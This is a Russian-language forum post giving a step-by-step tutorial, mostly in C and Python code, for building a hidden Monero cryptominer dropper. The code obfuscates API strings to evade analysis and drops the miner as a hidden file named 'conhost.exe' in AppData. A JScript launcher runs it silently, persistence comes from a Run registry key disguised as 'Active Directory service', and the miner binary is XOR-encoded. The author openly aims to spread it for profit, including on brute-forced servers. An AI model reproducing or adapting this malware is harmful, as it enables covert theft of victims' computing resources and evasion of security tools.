Скрытый майнер из говна и палок за 15 минут

Combat

Постоялец
ДРУЗЬЯ ФОРУМА
ЮБИЛЕЙНАЯ ЛЕНТА

Combat

Постоялец
ДРУЗЬЯ ФОРУМА
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
19 Окт 2018
Сообщения
815
Реакции
582
Репутация
0

Сегодня я вам покажу, как сделать скрытый майнер Monero из говна и палок, в прямом смысле этого слова. Так как вижу, что тема актуальна, особенно это понимают те, которые брутят дедики, лол.

Приступим.

Часть 0. Необходимое

1) Майнер Monero. Самый эффективный на данный момент от Wolf'а. Так сложилось, что майнинг алгоритмом cryptonight гораздо эффективнее на CPU, так как тот же Wolf в отличии от других алгоритмов юзает расширение команд AES

_ttps://ru.minergate.com/altminers/cpuminer-multi-wolf

2) Гейт на котором будем майниться. Заюзаем не требующий регистрации dwarfpool

3) Visual Studio, скрипт bin2src и иммунитет к говнокоду

Часть 1. Архитектура скрытого майнера

Архитектура будет такой:

x64 дроппер, который будет дропать на авторан js скрипт, запускающий майнер в скрытом режиме. Дропать будет либо версию с поддержкой AES-расширения, либо без поддержки. Самоудаляться.

То есть, порядок сборки:

Пишем каркас дропера, перегоняем файлы майнера в массив при помощи bin2src, компейлируем и распространяем, ловя кэш на булочки в столовке.

Часть 2. Дроппер

Дропер будет прост как лопата. Определяем поддержку AES через cpuid и в зависимости от этого дропаем в аппдату определенные версии майнеров, ставим на авторан js файл который их будет врубать в скрытом режиме

Напишем Скопипиздим функцию определяющую поддержку AES

#include <intrin.h>
...
BOOL aes() // вернет тру если поддерживает
{
int CPUInfo[4];
__cpuid(CPUInfo, 1);
return (CPUInfo[2] & (1 << 25)) != 0;
}

Далее научим дропер блеваться майнерами в аппдату, для начала найдем эту самую аппдату:

BOOL GetAppData(LPWSTR lpBuffer, DWORD dwSize)
{
WCHAR szAppData[] = { L'A', L'p', L'p', L'D', L'a', L't', L'a', L'\0' };
DWORD dwRet = GetEnvironmentVariableW(szAppData, lpBuffer, dwSize);
return ((dwRet > 0) && (dwRet <= dwSize));
}

Этот код получит из системной переменной путь до аппдаты и положит в lpBuffer размером dwSize, вернув true если все оки шмоки. Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации )

Шик, теперь прихуярим создание поддиректории в аппдате

BOOL CreateSubdir(LPWSTR lpPath, LPWSTR lpDirName)
{
typedef BOOL (WINAPI *fnCreateDirectory)(
_In_ LPWSTR lpPathName,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

CHAR szCreateDirectory[] = { 'C', 'r', 'e', 'a', 't', 'e', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'W', '\0' };
WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };

fnCreateDirectory fpCreateDirectory = (fnCreateDirectory)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateDirectory);

if (!fpCreateDirectory)
return FALSE;

LPWSTR lpNewPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (!lpNewPath)
return FALSE;

wsprintfW(lpNewPath, L"%s\\%s", lpPath, lpDirName);

BOOL bRet = fpCreateDirectory(lpNewPath, 0);

if (GetLastError() == ERROR_ALREADY_EXISTS)
bRet = TRUE;

VirtualFree(lpNewPath, 0, MEM_RELEASE);
return bRet;

}

очевидно читатель уже изрядно охуел от такой сборки строк на стеке. Так что отвечу: нет, я не мазохист, за меня все делает этот збс самодельный скрипт



Теперь осталось сделать код, который дропнет все это дело в созданную директорию

HANDLE MyCreateFileW(LPWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwCreationDisposition)
{
typedef HANDLE (WINAPI *fnCreateFileW)(
_In_ LPWSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
);

WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
CHAR szCreateFileW[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', '\0' };


fnCreateFileW fpCreateFileW = (fnCreateFileW)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateFileW);

if (!fpCreateFileW)
return FALSE;

return fpCreateFileW(lpFileName, dwDesiredAccess, FILE_SHARE_READ, 0, dwCreationDisposition, FILE_ATTRIBUTE_HIDDEN, 0);

}

BOOL MyWriteFile(HANDLE hFile, LPBYTE lpByteCode, DWORD dwSize)
{
typedef BOOL (WINAPI *fnWriteFile)(
_In_ HANDLE hFile,
_In_ LPVOID lpBuffer,
_In_ DWORD nNumberOfBytesToWrite,
_Out_opt_ LPDWORD lpNumberOfBytesWritten,
_Inout_opt_ LPOVERLAPPED lpOverlapped
);

WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
CHAR szWriteFile[] = { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', '\0' };

fnWriteFile fpWriteFile = (fnWriteFile)GetProcAddress(GetModuleHandleW(szKernelLib), szWriteFile);


if (!fpWriteFile)
return FALSE;

DWORD dwWritten;
return fpWriteFile(hFile, lpByteCode, dwSize, &dwWritten, 0);
}

BOOL DropArray(LPWSTR lpPath, LPWSTR lpName, LPBYTE lpByteCode, DWORD dwSize)
{
LPWSTR lpNewName = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!lpName)
return FALSE;

wsprintfW(lpNewName, L"%s\\%s", lpPath, lpName);

BOOL bRet = FALSE;
HANDLE hFile = MyCreateFileW(lpNewName, GENERIC_WRITE, CREATE_ALWAYS);

if (hFile != INVALID_HANDLE_VALUE)
{
bRet = MyWriteFile(hFile, lpByteCode, dwSize);
CloseHandle(hFile);
}

VirtualFree(lpNewName, 0, MEM_RELEASE);
return bRet;
}

Ну и собрать воедино

unsigned char lpMinerAes[] = { 0, 0 };
unsigned char lpMinerNoAes[] = { 0, 0 };


BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName)
{
BOOL bRet = FALSE;

return bRet;
}

BOOL DropMiner(BOOL bAes)
{
LPWSTR lpPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (!lpPath)
return FALSE;

BOOL bRet = FALSE;

if (GetAppData(lpPath, 256))
{
if (CreateSubdir(lpPath, L"Runion"))
{
lstrcatW(lpPath, L"\\Runion");
if (DropArray(lpPath, L"conhost.exe", ((bAes == TRUE) ? lpMinerAes : lpMinerNoAes),
((bAes == TRUE) ? sizeof(lpMinerAes) : sizeof(lpMinerNoAes))))
{
bRet = SetAutorun(lpPath, L"updater.js", L"conhost.exe");
}

}
}

VirtualFree(lpPath, 0, MEM_RELEASE);
return bRet;
}

Осталось дописать SetAutorun, потом заглушки с lpMinerAes и lpMinerNoAes вынесем в отдельный header-файл, чтобы не мешались

Честно говоря я уже начал лениться и поэтому дальнейшие действия без динамического импорта, все же статья не об этом ;D

VOID MakeCorrection(LPWSTR out, LPWSTR in)
{
DWORD OutCounter = 0;
for (DWORD inCounter = 0; inCounter < lstrlenW(in); inCounter++)
{
if (in[inCounter] == L'\\')
{
for (DWORD inter = 0; inter < 2; inter++)
{
out[OutCounter++] = L'\\';
}
}
else
{
out[OutCounter++] = in[inCounter];
}
}
out[OutCounter] = L'\0';
}

BOOL WriteJsInFile(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpFileName)
{

struct jsCorrect
{
WCHAR jsCorrect0[256];
WCHAR lpNewName[256];
WCHAR jscriptData[1024];
};

jsCorrect* lpjsc = (jsCorrect*)VirtualAlloc(0, sizeof(jsCorrect), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!lpjsc)
return FALSE;


BOOL bRet = FALSE;

wsprintfW(lpjsc->lpNewName, L"%s\\%s", lpPath, lpAutorunName);

HANDLE hFile = MyCreateFileW(lpjsc->lpNewName, GENERIC_WRITE, CREATE_ALWAYS);

if (hFile != INVALID_HANDLE_VALUE)
{

MakeCorrection(lpjsc->jsCorrect0, lpPath);

wsprintfW(lpjsc->jscriptData,
L"var WSHShell = WScript.CreateObject(\"WScript.Shell\");WSHShell.Run('\"%s\\\\%s\" %s', 0);",
lpjsc->jsCorrect0, lpFileName, L"-t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1"
);

bRet = MyWriteFile(hFile, (LPBYTE)lpjsc->jscriptData, lstrlenW(lpjsc->jscriptData) * 2);

CloseHandle(hFile);

}
VirtualFree(lpjsc, 0, MEM_RELEASE);

return bRet;
}

BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName)
{
BOOL bRet = FALSE;

HKEY hKey;

DWORD ret = RegCreateKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, 0, 0, KEY_ALL_ACCESS, 0, &hKey, 0);
if (ret == ERROR_SUCCESS)
{


if (WriteJsInFile(lpPath, lpAutorunName, lpMinerName))
{
LPWSTR lpAutorunPath = (LPWSTR)VirtualAlloc(0, 600, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

if (lpAutorunPath)
{
wsprintfW(lpAutorunPath, L"wscript.exe \"%s\\%s\"", lpPath, lpAutorunName);
ret = RegSetValueExW(hKey, L"Active Directory service", 0, REG_SZ, (LPBYTE)lpAutorunPath, lstrlenW(lpAutorunPath) * 2);
if (ret == ERROR_SUCCESS)
{
bRet = TRUE;
}
ShellExecuteW(0, L"open", lpAutorunPath, 0, 0, SW_SHOW);

RegCloseKey(hKey);
VirtualFree(lpAutorunPath, 0, MEM_RELEASE);
}
}
}


return bRet;
}

Собсна этот код ставит на авторан примерно следующее содержимое js:

var WSHShell = WScript.CreateObject("WScript.Shell");WSHShell.Run('"C:\\Users\\USERNAME\\AppData\\Roaming\\Runion\\conhost.exe" -t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1', 0);

И тут же врубает этот js, вместо YOUR_MONERO_WALLET нам нужно вписать наш кошелек монеро для майнинга, а на dwarfpool.com мы сможем мониторить хешрейт. Все вроде просто, да?



Осталось при помощи bin2src скрипта, слегка модифицированного мною чтобы он ксорил все на 0x05 байт перегнать версии майнеров в массивы

bin2src

import os,sys,re,struct

def bin2src(s,name):
s=bytearray(s)
o=""
o+=("static const unsigned char %s[]={" % name)
for i in range(0,len(s)):
if (i%32==0):
o+=("\n")
a = s
a ^= 0x5
o+=("0x%2.2X," % a)
o+=("\n};\n")
return o

l=len(sys.argv)
if l<3:
print "Error: invalid argument\npython bin2src.py file.bin name file.c"
sys.exit()
f=open(sys.argv[1],"rb")
data=f.read()
f.close()

name=sys.argv[2]
fout=sys.argv[3]

data=bin2src(data,name)
f=open(fout,"wb+")
f.write(data)
f.close()
print "Done"

Перегоняем в массив, билдим и готово

Не забываем сделать декрипт массива при старте софта и скачать при помощи, например, URLDownloadToFile необходимые дллки с любой файлопомойки с прямой ссылки ( например dropbox ).
 
Сверху